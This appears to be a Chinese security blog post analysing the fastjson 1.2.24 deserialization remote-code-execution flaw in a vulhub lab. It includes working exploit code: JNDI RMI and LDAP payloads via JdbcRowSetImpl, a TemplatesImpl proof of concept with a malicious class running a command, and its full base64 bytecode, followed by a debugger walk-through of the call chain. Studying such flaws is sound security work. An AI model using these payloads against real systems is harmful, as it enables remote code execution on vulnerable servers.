zoukankan      html  css  js  c++  java
  • fastjson 1.2.24反序列化导致任意命令执行漏洞分析记录

    环境搭建:

    漏洞影响版本:

    fastjson在1.2.24以及之前版本存在远程代码执行高危安全漏洞

    环境地址:

    https://github.com/vulhub/vulhub/tree/master/fastjson/vuln

    正常访问页面返回hello,world~

     

    此时抓包修改content-type为json格式,并post payload,即可执行rce

     此时就能够创建success文件

    漏洞复现(rmi+ldap):

    RMI:

    package person.server;
    import com.sun.jndi.rmi.registry.ReferenceWrapper;
    
    import javax.naming.NamingException;
    import javax.naming.Reference;
    import java.rmi.AlreadyBoundException;
    import java.rmi.RemoteException;
    import java.rmi.registry.LocateRegistry;
    import java.rmi.registry.Registry;
    
    
    public class JNDIServer {
        public static void start() throws
                AlreadyBoundException, RemoteException, NamingException {
            Registry registry = LocateRegistry.createRegistry(1099); //rmi服务器绑定1099端口
            Reference reference = new Reference("Exploit",
                    "Exploit","http://127.0.0.1:8080/");  //请求本地8080端口
            ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
            registry.bind("Exploit",referenceWrapper); //绑定工厂类,即rmi将去本地web目录下去找Exploit.class
    
        }
        public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
            start();
        }
    }

    比如此时先本地起一个rmi服务器

    exp:

    package person;
    
    import com.alibaba.fastjson.JSON;
    
    public class JdbcRowSetImplPoc {
        public static void main(String[] argv){
            testJdbcRowSetImpl();
        }
        public static void testJdbcRowSetImpl(){
                 
           String payload = "{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit"," +
                    " "autoCommit":true}";
            JSON.parse(payload);
        }
    
    }

    然后指定rmi的地址,触发payload解析,从而calc,其中Exploit.class不要带包名,

     

     这里java版本用的是1.8.0,用1.8.0_202中要设置trustCodebase选项,也就是做了一定的限制,直接从外部加载类的话是不被允许的

    用mashalsec起rmi服务:

     此时也能够calc

    ldap:

    用marshalsec在本地起一个ldap服务,然后将Exploit.class放到启动的当前目录下

     然后本地先测试一下1.8.0版本的jdk能否直接从ldap加载exploit.class

        public static void testLdap(){
            String url = "ldap://127.0.0.1:1389";
            Hashtable env = new Hashtable();
            env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.ldap.LdapCtxFactory");
            env.put(Context.PROVIDER_URL, url);
            try{
                DirContext dirContext = new InitialDirContext(env);
                System.out.println("connected");
                System.out.println(dirContext.getEnvironment());
                Reference e = (Reference) dirContext.lookup("e");
    
            }catch(NameNotFoundException ex){
                ex.printStackTrace();
            }catch(Exception e){
                e.printStackTrace();
            }
        }

    exp:

    public class JdbcRowSetImplPoc {
        public static void main(String[] argv){
            testJdbcRowSetImpl();
        }
        public static void testJdbcRowSetImpl(){
                    String payload = "{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/Exploit"," +
                    " "autoCommit":true}";
            JSON.parse(payload);
        }
    
    }

    直接通过ldap加载没问题,可以calc

    前置知识:

    研究这个漏洞之前,先熟悉一下阿里的这个fastjson库的基本用法

    package main.java;
    
    import java.util.HashMap;
    import java.util.Map;
    import com.alibaba.fastjson.JSON;
    import com.alibaba.fastjson.parser.Feature;
    import com.alibaba.fastjson.serializer.SerializerFeature;
    import main.java.user;
    public class test_fast_json {
    
    
        public static  void  main(String[] args){
            Map<String,Object> map = new HashMap<String, Object>();
            map.put("key1","one");
            map.put("key2","two");
            //System.out.println(map.getClass());
            String mapjson = JSON.toJSONString(map);
            System.out.println(mapjson.getClass());
            user user1 = new user ();
            user1.setName("111");
            System.out.println(JSON.toJSONString(user1));
    
            String serializedStr1 = JSON.toJSONString(user1,SerializerFeature.WriteClassName);
            System.out.println("serializedStr1="+serializedStr1);
            user user2=(user)JSON.parse(serializedStr1);
            System.out.println(user2.getName());
    
            Object obj = JSON.parseObject(serializedStr1);
            System.out.println(obj);
            System.out.println(obj.getClass());
    
            Object obj1 = JSON.parseObject(serializedStr1,Object.class);
            //user obj1 = (user) JSON.parseObject(serializedStr1,Object.class);
            user obj2 = (user)obj1;
            System.out.println(obj2.getName());
            System.out.println(obj2.getClass());
    
        }
    
    
    }
    //输出
    class java.lang.String {"age":0,"name":"111"} serializedStr1={"@type":"main.java.user","age":0,"name":"111"} 111 {"name":"111","age":0} class com.alibaba.fastjson.JSONObject 111 class main.java.user

    这里user为定义好的一个类,实际上fastjson提供给我们的也就是将对象快速转换为可以传输的字符串,当然也提供从字符串中恢复出对象,也就是一个序列化和反序列化的过程,

    可以从输出看到,JSON.toJSONstring实际上是将类的属性值转化为字符串,当JSON.toJSONstring带有writeclassname时此时字符串中将包含类名称及其包名称,所以此时可以定位到某个类以及其实例化对象的属性值,再通过JSON.parse()函数即可通过fastjson序列化后的字符串恢复该类的对象,当恢复对象时,使用JSON.parseObject带有Object.class时,此时能够成功恢复出类的对象,否则只能恢复到JsonObject对象

    漏洞分析:

    这个漏洞利用方式有好种,这篇文章主要分析利用templatesImlp这个类,这个类中有一个_bytecodes字段,部分函数能够根据这个字段来生成类的实例,那么这个类的构造函数是我们可控的,就能够rce

     test.java

    package person;
    
    import com.sun.org.apache.xalan.internal.xsltc.DOM;
    import com.sun.org.apache.xalan.internal.xsltc.TransletException;
    import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
    import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
    import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
    
    import java.io.IOException;
    
    public class Test extends AbstractTranslet {
        public Test() throws IOException {
            Runtime.getRuntime().exec("calc");
        }
        @Override
        public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
        }
    
        @Override
        public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {
    
        }
       
    }

    test.java在这里的话主要是用户parseObject json反序列化时所要还原的类,因为在这会实例化该类,因此直接在其构造方法中calc即可

    poc.java

    package person;
    
    import com.alibaba.fastjson.JSON;
    import com.alibaba.fastjson.parser.Feature;
    import com.alibaba.fastjson.parser.ParserConfig;
    
    import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    import org.apache.commons.io.IOUtils;
    import org.apache.commons.codec.binary.Base64;
    
    import java.io.ByteArrayOutputStream;
    import java.io.File;
    import java.io.FileInputStream;
    import java.io.IOException;
    
    
    public class Poc {
    
        public static String readClass(String cls){
            ByteArrayOutputStream bos = new ByteArrayOutputStream();
            try {
                IOUtils.copy(new FileInputStream(new File(cls)), bos); //将test.class字节码文件转存到字节数粗输出流中
            } catch (IOException e) {
                e.printStackTrace();
            }
            return Base64.encodeBase64String(bos.toByteArray()); 
    
        }
    
        public static void  test_autoTypeDeny() throws Exception {
            ParserConfig config = new ParserConfig();
            final String fileSeparator = System.getProperty("file.separator");
            final String evilClassPath = System.getProperty("user.dir") + "\target\classes\person\Test.class";
            String evilCode = readClass(evilClassPath);
            final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; //autotype时反序列化的类
            String text1 = "{"@type":"" + NASTY_CLASS +
                    "","_bytecodes":[""+evilCode+""]," +    //将evilcode放在_bytecodes处
                    "'_name':'a.b'," +
                    "'_tfactory':{ }," +
                    ""_outputProperties":{ }}
    ";
            System.out.println(text1);
            //String personStr = "{'name':"+text1+",'age':19}";
            //Person obj = JSON.parseObject(personStr, Person.class, config, Feature.SupportNonPublicField);
            Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField); //pareseObject来反序列化,此时要设置SupportNonPublicField

    public static void main(String args[]){ try { test_autoTypeDeny(); } catch (Exception e) { e.printStackTrace(); } } }

     我们已经知道在反序列化解析json字符串时在parseobject时触发

    {"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADEALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQANTHBlcnNvbi9UZXN0OwEACkV4Y2VwdGlvbnMHACUBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHACYBAApTb3VyY2VGaWxlAQAJVGVzdC5qYXZhDAAHAAgHACcMACgAKQEABGNhbGMMACoAKwEAC3BlcnNvbi9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAAEAAAgABAAAADiq3AAG4AAISA7YABFexAAAAAgAKAAAADgADAAAADwAEABAADQARAAsAAAAMAAEAAAAOAAwADQAAAA4AAAAEAAEADwABABAAEQABAAkAAABJAAAABAAAAAGxAAAAAgAKAAAABgABAAAAFQALAAAAKgAEAAAAAQAMAA0AAAAAAAEAEgATAAEAAAABABQAFQACAAAAAQAWABcAAwABABAAGAACAAkAAAA/AAAAAwAAAAGxAAAAAgAKAAAABgABAAAAGgALAAAAIAADAAAAAQAMAA0AAAAAAAEAEgATAAEAAAABABkAGgACAA4AAAAEAAEAGwABABwAAAACAB0="],'_name':'a.b','_tfactory':{ },"_outputProperties":{ }}

     在此下断点,运行poc.java

    此时首先调用com/alibaba/fastjson/JSON.java的parseObject函数来处理我们传入的payload

     此时判断我们传入的features是否为null,这里

    我们已经制定了支持非publicfield属性,因为使用的_bytescode实际为非public的,否则无法反序列化,接着调用defaultJsonParser来进一步处理payload

     此时进一步调用javaObjectDeserializer,也就是反序列化时所使用的反序列化引擎,继续跟进

     此时在javaObjectDeserializer的deserialze函数中将判断type的类型是不是泛型数组类型的实例以及判断type是不是类类型的实例,这里两处不满足,所以调用parse.parse来解析

    实际上此时又回到了

    并且在此调用parseObject函数来处理我们的payload

    接下来一部分就是语法解析,先匹配出了其中的双引号",

     比如先在parseObject函数中匹配出了@type

     匹配出@type标志以后,将会继续向后扫描json字符串,即取匹配相应的值,这个值也就是我们想要反序列化的类

     继续往下走,将调用deserializer.deserialze函数来处理反序列化数据,此时deserializer中已经包含了要实例化的templatesimpl类,

    跟进此函数,则可以看到此时token为16并且text为我们的payload

     接下来会调用parseField函数来对json字符串中的一些key值进行匹配

     这个方法里面会调用smartmatch来对key值进行一些处理,比如将_bytecodes的下划线删除

     当处理到_outputProperties字段时,步入其smartMatch方法

     此时在FieldDeserializer中将会调用setValue方,此时将会在其中调用getOutputProperties()方法,因为存在OutputProperties属性

     

     此时在TemplatesImpl类的getOutputProperties函数中将会调用newTransformer().getOutputProperties函数,在newTransformer函数中又调用了getTransletInstance()函数,

     

     这里首先判断_name字段不能为空,这也是为啥payload里面会设置一个_name字段

     接下来就会调用newInstance()函数来实例化对象了,可以看到此事要求实例化的对象时AbstractTranslet类的,那么只需要让我们的payload中的类继承自该类即可, 

    可以看到此时_transletIndex为零,因此此时实例化的就是我们构造的恶意类,

     

    缩减后的整个调用链即为:

    JSON.parseObject
    ...
    JavaBeanDeserializer.deserialze
    ...
    FieldDeserializer.setValue
    ...
    TemplatesImpl.getOutputProperties
    TemplatesImpl.newTransformer
    TemplatesImpl.getTransletInstance
    ...
    Runtime.getRuntime().exec

    参考:

    http://www.lmxspace.com/2019/06/29/FastJson-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%A6%E4%B9%A0/

    https://www.freebuf.com/vuls/178012.html

    https://www.anquanke.com/post/id/173459#h2-10

    http://xxlegend.com/2017/12/06/%E5%9F%BA%E4%BA%8EJdbcRowSetImpl%E7%9A%84Fastjson%20RCE%20PoC%E6%9E%84%E9%80%A0%E4%B8%8E%E5%88%86%E6%9E%90/

    http://xxlegend.com/2017/04/29/title-%20fastjson%20%E8%BF%9C%E7%A8%8B%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96poc%E7%9A%84%E6%9E%84%E9%80%A0%E5%92%8C%E5%88%86%E6%9E%90/

  • 相关阅读:
    C#通过反射获取类中的方法和参数个数,反射调用方法带参数
    C#利用WinRAR实现压缩和解压缩
    C# 使用HttpWebRequest Post提交数据,携带Cookie和相关参数示例
    C#使用Linq To XML读取XML,Linq生成XML,Linq创建带属性或带节点XML
    MVC使用Newtonsoft无需实体类,实现JSON数据返回给前端页面使用
    JSON对象与字符串之间的相互转换
    Javascript正则表达式详细讲解和示例,通俗易懂
    C#比较两个list集合,两集合同时存在或A集合存在B集合中无
    Uploadify 3.2上传文件,限制类型,大小,传递参数等
    c# 反射得到实体类的字段名称和值,DataTable转List<T>
  • 原文地址:https://www.cnblogs.com/tr1ple/p/11431543.html
Copyright © 2011-2022 走看看